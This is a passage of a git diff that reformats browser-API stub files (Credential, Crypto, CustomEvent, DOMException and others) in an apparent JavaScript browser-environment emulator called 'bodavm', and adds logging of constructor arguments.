Credential(){if (!(this instanceof Credential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Credential'], "Credential"); -bodavm.toolsFunc.defineProperty('Credential', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Credential', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "type_get", arguments)}, set:undefined},'prototype'); +// Credential对象 + +bodavm.memory.globalobj['Credential'] = function Credential() { + console.log_copy('Credential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Credential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Credential'], "Credential"); +bodavm.toolsFunc.defineProperty('Credential', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Credential', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "type_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CredentialsContainer.js b/env_xbb_lastest_jsdom/env/CredentialsContainer.js index 88e210e5..bff596d7 100644 --- a/env_xbb_lastest_jsdom/env/CredentialsContainer.js +++ b/env_xbb_lastest_jsdom/env/CredentialsContainer.js @@ -1,7 +1,49 @@ -// CredentialsContainer对象 -bodavm.memory.globalobj['CredentialsContainer'] = function CredentialsContainer(){if (!(this instanceof CredentialsContainer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CredentialsContainer'], "CredentialsContainer"); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "create", {configurable:true, enumerable:true, writable:true, value:function create (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "create", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "preventSilentAccess", {configurable:true, enumerable:true, writable:true, value:function preventSilentAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "preventSilentAccess", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CredentialsContainer', "store", {configurable:true, enumerable:true, writable:true, value:function store (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "store", arguments)}},'prototype'); +// CredentialsContainer对象 + +bodavm.memory.globalobj['CredentialsContainer'] = function CredentialsContainer() { + console.log_copy('CredentialsContainer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CredentialsContainer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CredentialsContainer'], "CredentialsContainer"); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "create", { + configurable: true, + enumerable: true, + writable: true, + value: function create() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "create", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "preventSilentAccess", { + configurable: true, + enumerable: true, + writable: true, + value: function preventSilentAccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "preventSilentAccess", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "store", { + configurable: true, + enumerable: true, + writable: true, + value: function store() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "store", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CropTarget.js b/env_xbb_lastest_jsdom/env/CropTarget.js index acec82ea..2846069f 100644 --- a/env_xbb_lastest_jsdom/env/CropTarget.js +++ b/env_xbb_lastest_jsdom/env/CropTarget.js @@ -1,4 +1,25 @@ -// CropTarget对象 -bodavm.memory.globalobj['CropTarget'] = function CropTarget(){if (!(this instanceof CropTarget)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CropTarget'], "CropTarget"); -bodavm.toolsFunc.defineProperty('CropTarget', "fromElement", {configurable:true, enumerable:true, writable:true, value:function fromElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CropTarget'].undefined, "CropTarget", "fromElement", arguments)}}); +// CropTarget对象 + +bodavm.memory.globalobj['CropTarget'] = function CropTarget() { + console.log_copy('CropTarget 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CropTarget)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CropTarget'], "CropTarget"); +bodavm.toolsFunc.defineProperty('CropTarget', "fromElement", { + configurable: true, + enumerable: true, + writable: true, + value: function fromElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CropTarget'].undefined, "CropTarget", "fromElement", arguments); + } +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Crypto.js b/env_xbb_lastest_jsdom/env/Crypto.js index 4c727a3a..2ee016de 100644 --- a/env_xbb_lastest_jsdom/env/Crypto.js +++ b/env_xbb_lastest_jsdom/env/Crypto.js @@ -1,11 +1,48 @@ -// Crypto对象 -bodavm.memory.globalobj['Crypto'] = function Crypto(){if (!(this instanceof Crypto)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Crypto'], "Crypto"); -bodavm.toolsFunc.defineProperty('Crypto', "getRandomValues", {configurable:true, enumerable:true, writable:true, value:function getRandomValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "getRandomValues", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Crypto', "subtle", {configurable:true, enumerable:true, get:function subtle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "subtle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Crypto', "randomUUID", {configurable:true, enumerable:true, writable:true, value:function randomUUID (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "randomUUID", arguments)}},'prototype'); -// crypto对象 -bodavm.memory.globalobj['crypto'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['crypto'].__proto__=bodavm.memory.globalobj['Crypto'].prototype; +// Crypto对象 + +bodavm.memory.globalobj['Crypto'] = function Crypto() { + console.log_copy('Crypto 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Crypto)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Crypto'], "Crypto"); +bodavm.toolsFunc.defineProperty('Crypto', "getRandomValues", { + configurable: true, + enumerable: true, + writable: true, + value: function getRandomValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "getRandomValues", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Crypto', "subtle", { + configurable: true, + enumerable: true, + get: function subtle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "subtle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Crypto', "randomUUID", { + configurable: true, + enumerable: true, + writable: true, + value: function randomUUID() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "randomUUID", arguments); + } +}, 'prototype'); + +// crypto对象 + +bodavm.memory.globalobj['crypto'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['crypto'].__proto__ = bodavm.memory.globalobj['Crypto'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CryptoKey.js b/env_xbb_lastest_jsdom/env/CryptoKey.js index 6f0ed060..6da913b1 100644 --- a/env_xbb_lastest_jsdom/env/CryptoKey.js +++ b/env_xbb_lastest_jsdom/env/CryptoKey.js @@ -1,7 +1,49 @@ -// CryptoKey对象 -bodavm.memory.globalobj['CryptoKey'] = function CryptoKey(){if (!(this instanceof CryptoKey)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CryptoKey'], "CryptoKey"); -bodavm.toolsFunc.defineProperty('CryptoKey', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CryptoKey', "extractable", {configurable:true, enumerable:true, get:function extractable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "extractable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CryptoKey', "algorithm", {configurable:true, enumerable:true, get:function algorithm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "algorithm_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CryptoKey', "usages", {configurable:true, enumerable:true, get:function usages (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "usages_get", arguments)}, set:undefined},'prototype'); +// CryptoKey对象 + +bodavm.memory.globalobj['CryptoKey'] = function CryptoKey() { + console.log_copy('CryptoKey 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CryptoKey)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CryptoKey'], "CryptoKey"); +bodavm.toolsFunc.defineProperty('CryptoKey', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CryptoKey', "extractable", { + configurable: true, + enumerable: true, + get: function extractable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "extractable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CryptoKey', "algorithm", { + configurable: true, + enumerable: true, + get: function algorithm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "algorithm_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CryptoKey', "usages", { + configurable: true, + enumerable: true, + get: function usages() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "usages_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CustomElementRegistry.js b/env_xbb_lastest_jsdom/env/CustomElementRegistry.js index 40701ac5..1c5f066b 100644 --- a/env_xbb_lastest_jsdom/env/CustomElementRegistry.js +++ b/env_xbb_lastest_jsdom/env/CustomElementRegistry.js @@ -1,7 +1,49 @@ -// CustomElementRegistry对象 -bodavm.memory.globalobj['CustomElementRegistry'] = function CustomElementRegistry(){if (!(this instanceof CustomElementRegistry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomElementRegistry'], "CustomElementRegistry"); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "define", {configurable:true, enumerable:true, writable:true, value:function define (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "define", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "upgrade", {configurable:true, enumerable:true, writable:true, value:function upgrade (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "upgrade", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CustomElementRegistry', "whenDefined", {configurable:true, enumerable:true, writable:true, value:function whenDefined (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "whenDefined", arguments)}},'prototype'); +// CustomElementRegistry对象 + +bodavm.memory.globalobj['CustomElementRegistry'] = function CustomElementRegistry() { + console.log_copy('CustomElementRegistry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CustomElementRegistry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomElementRegistry'], "CustomElementRegistry"); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "define", { + configurable: true, + enumerable: true, + writable: true, + value: function define() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "define", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "upgrade", { + configurable: true, + enumerable: true, + writable: true, + value: function upgrade() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "upgrade", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomElementRegistry', "whenDefined", { + configurable: true, + enumerable: true, + writable: true, + value: function whenDefined() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomElementRegistry'].prototype, "CustomElementRegistry", "whenDefined", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CustomEvent.js b/env_xbb_lastest_jsdom/env/CustomEvent.js index f6645282..6e5e0285 100644 --- a/env_xbb_lastest_jsdom/env/CustomEvent.js +++ b/env_xbb_lastest_jsdom/env/CustomEvent.js @@ -1,7 +1,35 @@ -// CustomEvent对象 -bodavm.memory.globalobj['CustomEvent'] = function CustomEvent(){if (!(this instanceof CustomEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CustomEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomEvent'], "CustomEvent"); -bodavm.memory.globalobj['CustomEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['CustomEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('CustomEvent', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "detail_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CustomEvent', "initCustomEvent", {configurable:true, enumerable:true, writable:true, value:function initCustomEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "initCustomEvent", arguments)}},'prototype'); +// CustomEvent对象 + +bodavm.memory.globalobj['CustomEvent'] = function CustomEvent() { + console.log_copy('CustomEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CustomEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CustomEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomEvent'], "CustomEvent"); +bodavm.memory.globalobj['CustomEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['CustomEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('CustomEvent', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomEvent', "initCustomEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initCustomEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "initCustomEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CustomStateSet.js b/env_xbb_lastest_jsdom/env/CustomStateSet.js index f6b4791f..8fcc3162 100644 --- a/env_xbb_lastest_jsdom/env/CustomStateSet.js +++ b/env_xbb_lastest_jsdom/env/CustomStateSet.js @@ -1,24 +1,89 @@ // CustomStateSet对象 -bodavm.memory.globalobj['CustomStateSet'] = function CustomStateSet(){if (!(this instanceof CustomStateSet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['CustomStateSet'] = function CustomStateSet() { + console.log_copy('CustomStateSet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CustomStateSet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomStateSet'], "CustomStateSet"); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "size_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "values", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('CustomStateSet', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMError.js b/env_xbb_lastest_jsdom/env/DOMError.js index db7fae03..b148e496 100644 --- a/env_xbb_lastest_jsdom/env/DOMError.js +++ b/env_xbb_lastest_jsdom/env/DOMError.js @@ -1,5 +1,33 @@ -// DOMError对象 -bodavm.memory.globalobj['DOMError'] = function DOMError(){if (!(this instanceof DOMError)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DOMError': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMError'], "DOMError"); -bodavm.toolsFunc.defineProperty('DOMError', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "message_get", arguments)}, set:undefined},'prototype'); +// DOMError对象 + +bodavm.memory.globalobj['DOMError'] = function DOMError() { + console.log_copy('DOMError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMError)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DOMError': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMError'], "DOMError"); +bodavm.toolsFunc.defineProperty('DOMError', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMError'].prototype, "DOMError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMException.js b/env_xbb_lastest_jsdom/env/DOMException.js index b128acc6..241db374 100644 --- a/env_xbb_lastest_jsdom/env/DOMException.js +++ b/env_xbb_lastest_jsdom/env/DOMException.js @@ -1,56 +1,338 @@ -// DOMException对象 -bodavm.memory.globalobj['DOMException'] = function DOMException(){this._boarg= new bodaobj.window.DOMException();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMException'], "DOMException"); -bodavm.toolsFunc.defineProperty('DOMException', "INDEX_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('DOMException', "DOMSTRING_SIZE_ERR", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('DOMException', "HIERARCHY_REQUEST_ERR", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('DOMException', "WRONG_DOCUMENT_ERR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_CHARACTER_ERR", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('DOMException', "NO_DATA_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('DOMException', "NO_MODIFICATION_ALLOWED_ERR", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_FOUND_ERR", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('DOMException', "NOT_SUPPORTED_ERR", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('DOMException', "INUSE_ATTRIBUTE_ERR", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_STATE_ERR", {configurable:false, enumerable:true, writable:false, value:11}); -bodavm.toolsFunc.defineProperty('DOMException', "SYNTAX_ERR", {configurable:false, enumerable:true, writable:false, value:12}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_MODIFICATION_ERR", {configurable:false, enumerable:true, writable:false, value:13}); -bodavm.toolsFunc.defineProperty('DOMException', "NAMESPACE_ERR", {configurable:false, enumerable:true, writable:false, value:14}); -bodavm.toolsFunc.defineProperty('DOMException', "INVALID_ACCESS_ERR", {configurable:false, enumerable:true, writable:false, value:15}); -bodavm.toolsFunc.defineProperty('DOMException', "VALIDATION_ERR", {configurable:false, enumerable:true, writable:false, value:16}); -bodavm.toolsFunc.defineProperty('DOMException', "TYPE_MISMATCH_ERR", {configurable:false, enumerable:true, writable:false, value:17}); -bodavm.toolsFunc.defineProperty('DOMException', "SECURITY_ERR", {configurable:false, enumerable:true, writable:false, value:18}); -bodavm.toolsFunc.defineProperty('DOMException', "NETWORK_ERR", 